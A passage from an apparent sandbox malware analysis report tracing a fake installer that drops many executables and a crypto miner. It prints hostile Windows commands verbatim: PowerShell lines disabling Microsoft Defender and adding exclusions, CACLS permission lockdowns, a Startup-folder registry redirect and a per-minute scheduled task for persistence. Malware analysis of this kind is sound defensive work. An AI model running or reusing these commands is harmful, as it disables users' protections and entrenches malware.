5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5612	Mon2345a0f60927b9.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5628 wrote to memory of 5020	5628	setup_x86_x64_install.exe	83
PID 5020 wrote to memory of 3912	5020	setup_installer.exe	84
PID 3912 wrote to memory of 6008	3912	setup_install.exe	87
PID 3912 wrote to memory of 5640	3912	setup_install.exe	88
PID 5640 wrote to memory of 2504	5640	cmd.exe	89
PID 6008 wrote to memory of 4292	6008	cmd.exe	90
PID 3912 wrote to memory of 5852	3912	setup_install.exe	91
PID 3912 wrote to memory of 4120	3912	setup_install.exe	92
PID 3912 wrote to memory of 1044	3912	setup_install.exe	93
PID 3912 wrote to memory of 1200	3912	setup_install.exe	94
PID 3912 wrote to memory of 636	3912	setup_install.exe	95
PID 3912 wrote to memory of 2136	3912	setup_install.exe	96
PID 3912 wrote to memory of 2208	3912	setup_install.exe	97
PID 3912 wrote to memory of 1392	3912	setup_install.exe	98
PID 3912 wrote to memory of 4560	3912	setup_install.exe	99
PID 3912 wrote to memory of 1620	3912	setup_install.exe	100
PID 3912 wrote to memory of 3244	3912	setup_install.exe	101
PID 3912 wrote to memory of 2976	3912	setup_install.exe	102
PID 3912 wrote to memory of 3800	3912	setup_install.exe	103
PID 3912 wrote to memory of 1204	3912	setup_install.exe	104
PID 3912 wrote to memory of 3848	3912	setup_install.exe	105
PID 3912 wrote to memory of 2312	3912	setup_install.exe	106
PID 3912 wrote to memory of 4892	3912	setup_install.exe	107
PID 3912 wrote to memory of 1936	3912	setup_install.exe	108
PID 3912 wrote to memory of 3264	3912	setup_install.exe	109
PID 3912 wrote to memory of 3512	3912	setup_install.exe	110
PID 3912 wrote to memory of 4728	3912	setup_install.exe	111
PID 3912 wrote to memory of 4508	3912	setup_install.exe	112
PID 2136 wrote to memory of 5552	2136	cmd.exe	113
PID 4728 wrote to memory of 4100	4728	cmd.exe	114
PID 4120 wrote to memory of 4016	4120	cmd.exe	115
PID 5852 wrote to memory of 880	5852	cmd.exe	116
PID 1044 wrote to memory of 3156	1044	cmd.exe	117
PID 1200 wrote to memory of 1248	1200	cmd.exe	118
PID 636 wrote to memory of 3044	636	cmd.exe	119
PID 1392 wrote to memory of 1748	1392	cmd.exe	125
PID 2208 wrote to memory of 544	2208	cmd.exe	120
PID 1620 wrote to memory of 5596	1620	cmd.exe	121
PID 2976 wrote to memory of 5612	2976	cmd.exe	122
PID 4560 wrote to memory of 4884	4560	cmd.exe	124
PID 4508 wrote to memory of 2340	4508	cmd.exe	123
PID 1204 wrote to memory of 5160	1204	cmd.exe	129
PID 3800 wrote to memory of 5440	3800	cmd.exe	126
PID 2312 wrote to memory of 4064	2312	cmd.exe	135
PID 4892 wrote to memory of 5284	4892	cmd.exe	130
PID 3264 wrote to memory of 5288	3264	cmd.exe	131
PID 3512 wrote to memory of 5388	3512	cmd.exe	132
PID 1936 wrote to memory of 832	1936	cmd.exe	133
PID 3848 wrote to memory of 4272	3848	cmd.exe	127
PID 3244 wrote to memory of 924	3244	cmd.exe	134
PID 5552 wrote to memory of 5292	5552	Mon237b55b08f9b9f39.exe	136
PID 3044 wrote to memory of 6140	3044	Mon23fc9b3c0b46b0b03.exe	137
PID 4064 wrote to memory of 5080	4064	Mon23eb9bbd34021fd7.exe	138
PID 5288 wrote to memory of 5304	5288	Mon239d2cfa97d5f2304.exe	139
PID 5596 wrote to memory of 5444	5596	Mon23705640b572a2.exe	141
PID 5304 wrote to memory of 3692	5304	Mon239d2cfa97d5f2304.tmp	144
PID 5388 wrote to memory of 2332	5388	Mon23c83f1827e40acef.exe	143
PID 5440 wrote to memory of 2540	5440	Mon2317ff0edbb41b.exe	145
PID 3692 wrote to memory of 1884	3692	Mon239d2cfa97d5f2304.exe	147
PID 5612 wrote to memory of 2080	5612	Mon2345a0f60927b9.exe	148
PID 5612 wrote to memory of 5012	5612	Mon2345a0f60927b9.exe	149
PID 880 wrote to memory of 3892	880	Mon239d21655f4b.exe	150
PID 5552 wrote to memory of 5292	5552	Mon237b55b08f9b9f39.exe	136
PID 5552 wrote to memory of 5292	5552	Mon237b55b08f9b9f39.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5628
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6008
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5640
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon239d21655f4b.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5852
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon239d21655f4b.exe
        
        Mon239d21655f4b.exe
        5⤵
        Executes dropped EXE
        Drops Chrome extension
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:880
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3892
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3324
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        Drops file in Windows directory
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5732
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7fff521ec728,0x7fff521ec734,0x7fff521ec740
        7⤵
        
        PID:3240
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1712,i,13588275846127373391,14682708557670643175,262144 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2012 /prefetch:2
        7⤵
        
        PID:4260
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1532,i,13162258222322620915,9714084201801536286,524288 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2316 /prefetch:3
        7⤵
        System Time Discovery
        
        PID:5228
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,12997819256800526860,5901424340469819879,524288 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2356 /prefetch:8
        7⤵
        
        PID:5000
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3232,i,692942701313778462,2051982011334262098,2097152 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3292 /prefetch:1
        7⤵
        
        PID:5500
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3236,i,17583478886507928699,245901017585899554,2097152 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3312 /prefetch:1
        7⤵
        
        PID:1772
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4440,i,7685777418628737685,14979585192121748664,2097152 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4448 /prefetch:2
        7⤵
        
        PID:3564
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4672,i,12544594639866728511,7418283141560293725,2097152 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4700 /prefetch:1
        7⤵
        
        PID:2584
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5720,i,3592380676625144169,16369702399542065697,524288 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5736 /prefetch:8
        7⤵
        
        PID:3908
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,13447480760469892255,721412105176852940,524288 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5944 /prefetch:8
        7⤵
        
        PID:3500
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5736,i,12163452412962054144,14224222317677383198,524288 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5644 /prefetch:8
        7⤵
        
        PID:4616
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4428,i,13802768968087683140,17840567441629222887,524288 --field-trial-handle=2016,i,3346736403663959378,13593334662567656815,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5620 /prefetch:8
        7⤵
        
        PID:4772
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23bfce30ed0d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4120
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23bfce30ed0d.exe
        
        Mon23bfce30ed0d.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4016
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon236c02350935f.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1044
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon236c02350935f.exe
        
        Mon236c02350935f.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3156
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 444
        6⤵
        Program crash
        
        PID:3940
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23b87b93295.exe /mixtwo
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1200
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23b87b93295.exe
        
        Mon23b87b93295.exe /mixtwo
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1248
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23fc9b3c0b46b0b03.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:636
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23fc9b3c0b46b0b03.exe
        
        Mon23fc9b3c0b46b0b03.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3044
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23fc9b3c0b46b0b03.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23fc9b3c0b46b0b03.exe
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6140
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2764
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5720
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3812
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4576
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
        8⤵
        
        PID:1696
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
        7⤵
        
        PID:1896
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4488
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5460
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1588
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4772
        
        C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3612
        
        C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        
        C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        8⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2216
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\
        9⤵
        
        PID:4704
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\
        10⤵
        
        PID:1976
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /F
        9⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2200
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon237b55b08f9b9f39.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2136
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237b55b08f9b9f39.exe
        
        Mon237b55b08f9b9f39.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:5552
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237b55b08f9b9f39.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237b55b08f9b9f39.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon237ce2862163cee53.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2208
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237ce2862163cee53.exe
        
        Mon237ce2862163cee53.exe
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        System Location Discovery: System Language Discovery
        
        PID:544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon236eb8c3f483857fd.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1392
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon236eb8c3f483857fd.exe
        
        Mon236eb8c3f483857fd.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1748
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon230cd6d57f4.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4560
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon230cd6d57f4.exe
        
        Mon230cd6d57f4.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4884
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23705640b572a2.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1620
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23705640b572a2.exe
        
        Mon23705640b572a2.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5596
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23705640b572a2.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23705640b572a2.exe
        6⤵
        Executes dropped EXE
        
        PID:5444
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23705640b572a2.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23705640b572a2.exe
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5992
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4804
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5088
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
        8⤵
        
        PID:4984
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3744
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1084
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
        7⤵
        
        PID:5128
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:6012
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4600
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6052
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
        8⤵
        
        PID:1008
        
        C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6084
        
        C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        
        C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        8⤵
        Executes dropped EXE
        
        PID:1892
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23ca6a33225.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3244
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23ca6a33225.exe
        
        Mon23ca6a33225.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:924
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23ca6a33225.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3052
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23ca6a33225.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23ca6a33225.exe"
        6⤵
        Executes dropped EXE
        
        PID:5408
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2345a0f60927b9.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon2345a0f60927b9.exe
        
        Mon2345a0f60927b9.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:5612
      - C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe"
        6⤵
        Checks computer location settings
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2080
        
        C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        
